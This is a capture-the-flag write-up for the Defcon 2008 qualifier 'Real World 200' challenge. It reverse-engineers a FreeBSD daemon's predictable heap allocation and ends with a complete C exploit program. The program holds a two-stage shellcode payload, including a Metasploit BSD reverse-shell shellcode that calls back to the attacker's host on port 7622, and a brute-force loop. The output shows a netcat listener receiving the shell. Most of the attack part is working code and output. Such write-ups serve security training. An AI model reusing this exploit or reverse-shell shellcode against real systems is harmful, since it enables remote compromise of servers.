Defcon CTF 2008 Quals Real World 200 Write-up z0nKT1g3r @ WiseguyS http://0xbeefc0de.org 2009. 4. 8. First to check what the binary is. [root@ ~/defcon2008]# file rw200 rw200: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 6.3, dynamically linked (uses shared libs), stripped [root@ ~/defcon2008]# After running the daemon, I realized that 3344 port openend up. So I tried connecting to the port. wantstar@wantstar:~$ nc 75.82.49.36 3344 Helloaaaa aaaa aaabcdefghijk wantstar@wantstar:~$ No response from the server at all. So I decided to look through the binary with the help of IDA and Hexray. After recognizing the main function and others, I realized the main routine of the binary calls up somewhat 'weird' function. sub_8048CE0() ====================================================== int __cdecl jk_main(int a1) { void *v2; // eax@1 void *v3; // [sp+4h] [bp-4h]@1 sub_8048BE0(); v2 = calloc(1u, 0x44u); v3 = v2; jk_readwrap(a1, v2, 68, 10); jk_readwrap(a1, (char *)v3 + 32, 68, 10); if ( *((_DWORD *)v3 + 16) ) (*((int (**)(void))v3 + 16))(); return 0; } ====================================================== Its code looks as follows: sub_8048BE0() ====================================================== v1 = open("/dev/urandom", 0); v6 = v1; if ( v1 == -1 ) { perror("open /dev/urandom failed!\n"); v7 = -1; } else { if ( read(v6, &v5, 4u) == 4 ) { v3 = v5 & 0x3FF; v2 = 0; while ( v2 <= 1023 ) { if ( v2 == v3 ) v4 = calloc(1u, 0x44u); else calloc(1u, 0x44u); ++v2; } if ( v4 ) free(v4); v7 = 0; } else { perror("read /dev/urandom failed!\n"); v7 = -1; } } ====================================================== It seems like the function sub_8048BE0() reads four bytes from /dev/urandom and &(AND)s with 0x3FF, which will result in a number below 1024. The while routine above allocated 1024 memory spaces with a size of 0x44. Then, it free()s the one of 1024 allocated memory and exits. For example, if the random number came out to be 0x123, it will free the 0x123th memory space. After it returns to the main routine, the main routine allocates another memory space with a size of 0x44. After researching for couple times, as expected, the address of the newly allocated memory in the main routine and the address of previously free()ed memory equally match. Also that if the random number chosen is consistent, the memory address for the allocated memory will also be consistent. Perhaps a following code will help us understand what I'm about to do with this daemon. ====================================================== // Same code from hexray, but modified to look better #include #include int main(){ int l; int v2; int v3; int v5; int v4; int v7; FILE *fp=fopen("/dev/urandom","r+"); if(fread(&v5, 4, 1, fp)) { v3 = v5 & 0x3FF; v2 = 0; printf("Random Number: %d\n", v3); while ( v2 <= 1023 ) { if ( v2 == v3 ){ v4 = calloc(1, 0x44); printf("Free()ed Memory Address: %x\n", v4); } else calloc(1, 0x44); ++v2; } if ( v4 ) free(v4); v7 = 0; } v3=calloc(1, 0x44); printf("Newly Allocated Memory Address: %x\n",v3); return v7; } ====================================================== [root@ /home/wantstar/tmp]# ./t Random Number: 188 Free()ed Memory Address: 8052e00 Newly Allocated Memory Address: 8052e00 [root@ /home/wantstar/tmp]# ./t Random Number: 647 Free()ed Memory Address: 8061380 Newly Allocated Memory Address: 8061380 [root@ /home/wantstar/tmp]# So once again, if that random number is 188 again, it will have a same memory address, which will be 0x8052e00. It will probably mean that we would have to brute-force around 1024 times, to get the exploit to run successfully. However, there is yet another unresolved problem. The main routine, only receives 68 bytes twice, which is enough to store the reverse shellcode, but we can't because the 64-68th bytes will be used as an address to call. if ( *((_DWORD *)v3 + 16) ) (*((int (**)(void))v3 + 16))(); This means that in between our shellcode there has to be 4 unrelated-bytes, which then shellcode will not work. So instead of RETing to the shellcode, we would have to call the read() function first to adjust the arguments to fully put up our shellcode, then return to our shellcode. Therefore our payload would look like following. [SHELLCODE1:TO EXECUTE read() AND CALL REVERSE SHELLCODE(jmp)] [ADDRESS OF SHELLCODE 1] [\x90\x90...\x90\x90\x90] [SHELLCODE2:TO EXECUTE REVERSE SHELL] When writing an assembly for the shellcode 1, we have to consider to bring socket descriptor from somewhere in the stack to read it from us, and not stdin. After everything is ready, we would have to loop the exploit code for little more than 1024 to successfully obtain the shell. wantstar@wantstar:~/defcon$ ./rwexp =========== Defcon 2008 qual - rw200 Exploit by z0nKT1g3r @ WiseguyS =========== Settings all done. Trying #1.. sent the payload1 sent the payload2 sent the payload3 Trying #2.. sent the payload1 sent the payload2 sent the payload3 Trying #3.. sent the payload1 sent the payload2 sent the payload3 Trying #4.. sent the payload1 sent the payload2 .. .. wantstar@owner-desktop:~$ nc -l -p 7622 id uid=1022(rw200) gid=1022(rw200) groups=1022(rw200) Please send me any feedbacks to wantstar@0xbeefc0de.org Below is my exploit code for Real World 200. ============================================================= #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { struct sockaddr_in s; struct hostent * he; size_t socklen; int sockfd; int szScode1=0; int szScode2=0; char payload1[128]; char payload2[128]; char payload3[576]; int i=0; int r; int offset; int count=0; long ret=0x08053f80; //just a one of random addresses allocated from the test code, t.c //SHELLCODE 1 /* read(a1, &buf+68, 512); call 0x08050480 */ unsigned char scode1[]= "\xc7\x44\x24\x0c\x00\x02\x00\x00" "\xc7\x44\x24\x08\xd4\x3f\x05\x08" "\x8b\x44\x24\xf4" "\x89\x44\x24\x04" "\xb8\x03\x00\x00\x00" "\xcd\x80" "\xeb\x60"; /* main: movl $0x200, 0xc(%esp) movl $0x080504C4, 0x8(%esp) movl -0xc(%esp), %eax movl %eax, 0x4(%esp) movl $0x3, %eax int $0x80 #read(s, &buf+0x54, 512); jmp *0x44 #jmp 0x44 */ //SHELLCODE 2 /* bsd_ia32_reverse - LHOST=218.153.*.* LPORT=7622 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode2[] = "\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x65" "\x67\x40\x8d\x83\xeb\xfc\xe2\xf4\x0f\x06\x18\x14\x37\x25\x12\xcf" "\x37\x0f\x9a\x14\xc9\x86\x8d\x0d\x0d\x77\x42\x90\xa3\xee\xa1\xe7" "\x75\x36\x10\xdc\xf2\x0d\x22\xd5\xa8\xe7\x2a\x8f\x3c\xd7\x1a\xdc" "\x32\x36\x8d\x0d\x2c\x1e\xb6\xdd\x0d\x48\x6f\xfe\x0d\x0f\x6f\xef" "\x0c\x09\xc9\x6e\x35\x33\x13\xde\xd5\x5c\x8d\x0d"; printf("=========== Defcon 2008 qual - rw200 Exploit by z0nKT1g3r @ WiseguyS ===========\n"); if ((he = gethostbyname("75.82.**.**")) == NULL){ herror("gethostbyname"); exit(-1); } socklen = sizeof(struct sockaddr); //connect to server memset(&s, 0, sizeof(struct sockaddr_in)); s.sin_family = PF_INET; memcpy(&s.sin_addr,he->h_addr_list[0],sizeof(struct in_addr)); s.sin_port = htons(3344); bzero(&(s.sin_zero), 8); //payload1 setting memset(payload1, '\x90', 128); memcpy(payload1, scode1, 33); memset(payload1+33, '\x0a', 1); //payload2 setting: total 33bytes szScode1=32; memset(payload2, '\x90', 32); memset(payload2, '\x60',1); offset=32; //strcpy(&payload2[offset], "aaaa"); payload2[offset]=(ret >> 0) & 0xff; payload2[offset+1]=(ret >> 8) & 0xff; payload2[offset+2]=(ret >> 16) & 0xff; payload2[offset+3]=(ret >> 24) & 0xff; memset(payload2+offset+4,'\x0a', 1); //payload3 setting: NOP+scode2 //this is for the read() that we call from SHELLCODE 1 memset(payload3, '\x90', 576); memcpy(payload3+256, scode2, strlen(scode2)); printf("Settings all done.\n"); while(1){ printf("Trying #%d..\n", ++count); //server socket if ((sockfd = socket(PF_INET,SOCK_STREAM,0))<0){ perror("setup_socket"); exit(-1); } r = connect(sockfd, (struct sockaddr *) &s, (size_t)socklen); if(r==-1){ perror("connect"); exit(-1); } //payload1 if(send(sockfd, &payload1, 34, 0)<=0){ perror("send"); exit(-1); } printf("sent the payload1\n"); //payload2 if(send(sockfd, &payload2, 37, 0)<=0){ perror("send"); exit(-1); } printf("sent the payload2\n"); //payload3 if(send(sockfd, &payload3, 576, 0)<=0){ perror("send"); exit(-1); } printf("sent the payload3\n"); close(sockfd); } } //end of main =============================================================